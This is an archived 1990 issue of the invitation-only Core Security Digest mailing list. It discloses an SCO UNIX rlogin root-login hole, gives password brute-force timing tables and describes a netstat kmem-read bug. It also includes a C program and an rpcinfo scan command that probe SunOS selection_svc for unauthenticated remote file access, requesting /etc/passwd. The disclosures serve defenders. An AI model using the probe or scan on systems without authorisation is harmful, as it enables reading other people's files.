The 'Security Digest' Archives (TM)

Archive: About | Browse | Search | Contributions | Feedback
Site: Help | Index | Search | Contact | Notices | Changes

ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #2 1990-05-17 (1 file, 5518 bytes)
NOTICE: recognises the rights of all third-party works.


Subject: Core Security Digest V1 #2

Core Security Digest Volume 1 Issue 2


            Security Hole in SCO UNIX
            Brute Force Password Cracking
            security problem in selection_svc

The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                    


Date: Thu, 17 May 90 8:49:34 EDT
From: Ragnar Paulson <uunet!wilma!ragnar>
Subject: Security Hole in SCO UNIX

I've discovered a small problem with SCO UNIX security.  We are running
SCO UNIX on a generic 386 (ISA BUS).  We also have SCO TCP/IP installed.

I've discovered that if you "rlogin" to SCO UNIX from a trusted host
(one in /etc/hosts.equiv), you can get root privileges without a password
if your home directory does not exist.  I suspect any reason for the
automatic login to fail would cause the same problem.

Usually rlogind logs the user in directly to his home directory.  But
if the home directory does not exist it will fail ("Cannot chdir to ..."),
and give a "login:".  However whatever is typed here, including root, will
succeed without a "password:" required.

I'm not sure how one could take advantage of this, I only found it because
SCO's UNIX often fails to mount my user file system (after a panic or crash).
Besides as the host is a trusted host it is probably inherently insecure
anyways.  I've already notified SCO,  I just thought everyone here would
like to know.


Date: Tue, 19 Jun 90 06:17:39 EDT
From: (Seth Robertson)
Subject: Brute Force Password Cracking

Here is some interesting information.  Computational power is going up
fast enough that brute-force attacks on passwords are becoming
possible.  Certainly when the next generation of machines come out or
if a faster password algorithm becomes known (there are rumors of a
32,000 encryptions/sec on a 68030 with 100,000 e/s almost ready and
400,000 e/s thought to be possible) brute force attacks will be

Now you may look at this chart and think that 100 sparcstations is
infeasible but that is not true: Columbia (which is by no means that
large of a school) could easily dig up enough computers to equal 100
sparcstations.  Sun 3s plod along at ~50 e/s, but it only takes four
of them to equal on sparcstation.  (It is certainly easy enough to
write a parallel password cracking program which will automatically
divide up the work in cracking passwords between many hosts.  In fact,
I did so.)  Admittedly, this is alot of work to go through to crack
one password, but soon it will be computationally feasible to crack
any non-rich password (a-z) of any length.

The question, of course, is what to do about this?  It would be easy
to hack DES to extend the key space to 256, or 1024 bits (but who
would type in a 128 character password? :-) but what really needs to
be done is to find a more computationally intensive protection scheme
(or perhaps some other approach?)

Any comments?

Password        Password  Number of    Time for N Sparcstations
Character Set   Length    Passwords     10      40      100
-------------   --------  ---------    ----    ----    ----
lowercase       5         3.2e+06       24m     6.2m    -
consonants      6         6.4e+07       8.3h    2.1h    50m
(20 chars)      7         1.3e+09       6.9d    1.7d    16.5h
                8         2.6e+10       4.6M    1.15M   13.8d

lowercase       5         1.2e+07       92m     23m     9m
letters         6         3.1e+08       1.7d    10h     4h
(26 chars)      7         8.0e+09       1.4M    10.8d   4.3d
                8         2.1e+11       2.9y    9.3M    3.75M

lowercase &     5         1.0e+08       13.2h   3.3h    1.3h
punctuation     6         4.1e+09       22d     5.5d    2.2d
(40 chars)      7         1.6e+11       3.3y    7.3M    3M
                8         6.6e+12       133y    33y     13.3y

* Table assumes 215 transforms per second per Sparcstation 1.
m = minutes
h = hours
d = days
M = months
y = years

(original table) (from some Grad student at MIT who was forced to do a
        study on passwords in use on project Athena.  He found several
        thousand passwords...)

Password        Password  Number of    Time for N MicroVaxes *
Character Set   Length    Passwords     10      40      100
-------------   --------  ---------    ----    ----    ----
lowercase       5         3.2e+06       2.5h    38m     15m
consonants      6         6.4e+07       51h     13h     5.1h
(20 chars)      7         1.3e+09       42d     10d     4d
                8         2.6e+10       2.2y    7.0M    83d

lowercase       5         1.2e+07       9.4h    2.4h    1h
letters         6         3.1e+08       10d     61h     25h
(26 chars)      7         8.0e+09       8.9M    2.2M    26d
                8         2.1e+11       19y     4.6y    2y

lowercase &     5         1.0e+08       3.3d    20h     8.1h
punctuation     6         4.1e+09       4.6M    34d     14d
(40 chars)      7         1.6e+11       15y     3.7y    1.5y
                8         6.6e+12       593y    148y    59y

* Table assumes 35 transforms per second per MicroVax.
m = minutes
h = hours
d = days
M = months
y = years


Date: Wed, 20 Jun 90 17:27:53 PDT
From: uunet!!shipley
Subject: security problem in selection_svc

Under SunOS running the SunView windowing system, it is possible to
remotely access files using SunView selection_svc(1) subprocess and the
RPC facility.

The selection_svc program handles all selections made by SunView client
programs.  It is used to modify resource files and cut/paste
selections.  The way these clients communicate with selection_svc is
through RPC calls.  The problem is that the selection service process
will accept RPC requests from any user, both locally and remotely.  No
authentication is preformed.

I have verified this bug under SunOS 3.5, 4.0.3 and 4.1

I have mailed a patch to Sun that will fix the remote access problem by
having the selection_svc deny remote requests (with an exception for
call to RPC's "NULLPROC").

But this patch only shrinks the security hole because any users on the
same cpu can still read files as if they were the user running

What's worse it that it is possible to scan for local systems having
the RPC service available.  The command:

    rpcinfo -b selection_svc 6

will print a list of systems running selection_svc on the local
broadcast network.

For Sun's 386i systems, the problem is more complicated.  On these
systems, selection_svc is started when /etc/init runs /etc/rc.  Because
init runs as root, you tell selection_svc to read any file.

Until patch is released by Sun the only real fix I know of is to
disable suntools and use the X11 windowing system.

Here is a program that will test for this problem:
(administer need not worry about this code, it will take
another 300 lines of added code to make this program
retrieve data from a remote host)

static char *_cp_="Copyright Peter Shipley (HACKMAN) [1990]\n";
static char *_n_=" sel_holdf_rpc.c \n";

 * This  program tests the existence of a hole in the selection_svc
 * that allows remote access to file on a system.
 * The Return codes are:
 *  1 = security problem detected
 *  0 = no security problem detected
 * -1 = Insufficient data or error in detection

#include <stdio.h>
#include <rpc/rpc.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/param.h>
#include <netdb.h>

typedef enum    {
} Seln_rank;

typedef enum    {
} Seln_result;

typedef struct {
    Seln_rank           rank;
    char               *pathname;
} Seln_file_info;

#define SELN_SVC_DONE           ((u_long) 3)
#define SELN_SVC_HOLD_FILE      ((u_long) 5)
#define SEL_PRO_NUM             ((u_long) 100015)    /*536970927*/
#define SEL_VERSION             ((u_long) 6)

int xdr_sfi();
enum clnt_stat  call_nullproc(),

CLIENT          *make_client();
static struct timeval tout;
void    exit(); /* SHUT LINT UP */

main(ac, av)
int ac;
char *av[];
CLIENT          *client;
enum clnt_stat  clnt_stat;
Seln_result     sr;
int             result;

    result = 0;

    /* establish a link since we will be using it more then once */
    client = make_client(
        (ac > 1 ? av[1] : "localhost" ),

    /* test it */
    if(client == NULL) {

    /* call the null procedure, this will serve as sort of a ping */
    clnt_stat = call_nullproc(client);

    /* test and report results */
    if( clnt_stat  != RPC_SUCCESS) {
        clnt_perror(client, "rpc: nullproc");
    } else
        (void) fputs("RPC: Success nullproc\n", stdout);

    /* call the hold file procedure, this will ask the selection
       server to open the file for reading. */
    clnt_stat = call_holdfile(client, "/etc/passwd", &sr);

    /* test and report results */
    if( clnt_stat  != RPC_SUCCESS ) {
        clnt_perror(client, "rpc: holdfile");
        (void) fputs("RPC: failure holdfile\n", stdout);
    } else {
        (void) fputs("RPC: Success holdfile\n", stdout);
        switch(sr) {
            case SELN_FAILED:
                (void) fputs("selection failure holdfile\n", stdout);
            case SELN_SUCCESS:
                (void) fputs("selection success holdfile\n", stdout);
                result = 1;
                (void) fprintf(stderr, "selection result = %d\n", sr);

    /* close our connection */

    /* bye bye */

enum clnt_stat
call_holdfile(client, path, sr)
CLIENT *client;
char *path;
Seln_result     *sr;
Seln_file_info sfi;

    /* set up request data */
    sfi.rank = SELN_SECONDARY;
    sfi.pathname = path;

    /* make request and return result */
    return(clnt_call(client, SELN_SVC_HOLD_FILE,
            xdr_sfi, (char *) &sfi,     /* data sent */
            xdr_enum, (char *) sr,      /* data returned */

make_client(host, serv, ver)
char *host;
u_long  serv, ver;
CLIENT  *client;
int sock = RPC_ANYSOCK;
struct hostent *hp;
struct sockaddr_in server_addr;

    /* get address of remote host */
    if ((hp = gethostbyname(host)) == NULL) {
        (void) fprintf(stderr, "Can't get address for %s\n", host);

    /* set our connection timeout */
    tout.tv_sec = 3;
    tout.tv_usec = 0;

    /* set up out data structures for connecting with the remote host */
    bcopy((char *)hp->h_addr, (char *) &server_addr.sin_addr, hp->h_length);

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = 0;

    /* create a client hookup using udp  to selection_svc */
    client = clntudp_create(&server_addr, serv, ver,
            tout, &sock);

    /* set the time out for calls (since tout is reused) */
    tout.tv_sec = 20;

    /* return our referance hook for out client */

enum clnt_stat
CLIENT *client;
    return (clnt_call(client, NULLPROC,
            xdr_void, (char *) NULL,    /* data sent */
            xdr_void, (char *) NULL,    /* data returned */

int xdr_sfi(xdr, xsfi)
XDR     *xdr;
Seln_file_info *xsfi;
    return (( xdr_int(xdr, (int *) &xsfi->rank) &&
           xdr_string(xdr, &xsfi->pathname, MAXPATHLEN)) );
/* end of file sel_holdf_rpc.c */


Date: Sat, 23 Jun 90 12:43:16 PDT
From: neil (Neil Gorsuch)
Subject: netstat

[ I sent out a notice just before the Morris sentencing urging sites to
disable the netstat command for "others".  There were some specific
threats to re-release the Morris worm, and the netstat command was used
as the main source of new system's names and addresses to break into.  My
notice is now apparantly being re-released into some news groups and
causing questions to be asked.  Jeff Forys, a member of the core list, saw
my notice and seems to have found a real netstat security bug, as expained
in this email message that he sent to me. - neil ]

On Jun 4, 10:32am, Jeff Forys wrote:
} Subject: Re: Saw the following message in
}       > I would strongly urge every site on the internet to immediately chmod
}       > the program "netstat" so that "others" cannot execute it.
} The only thing I can figure out is that netstat(1) allows you to
} specify a vmunix/vmcore and does not reset the setgid bit before
} reading a user-specified set of symbols/locations.  I suppose one
} could read anything out of kmem by faking locations to netstat...
} I just fixed this, so assuming this was the problem, we are okay.


        End of Core Security Digest Volume 1 Issue 2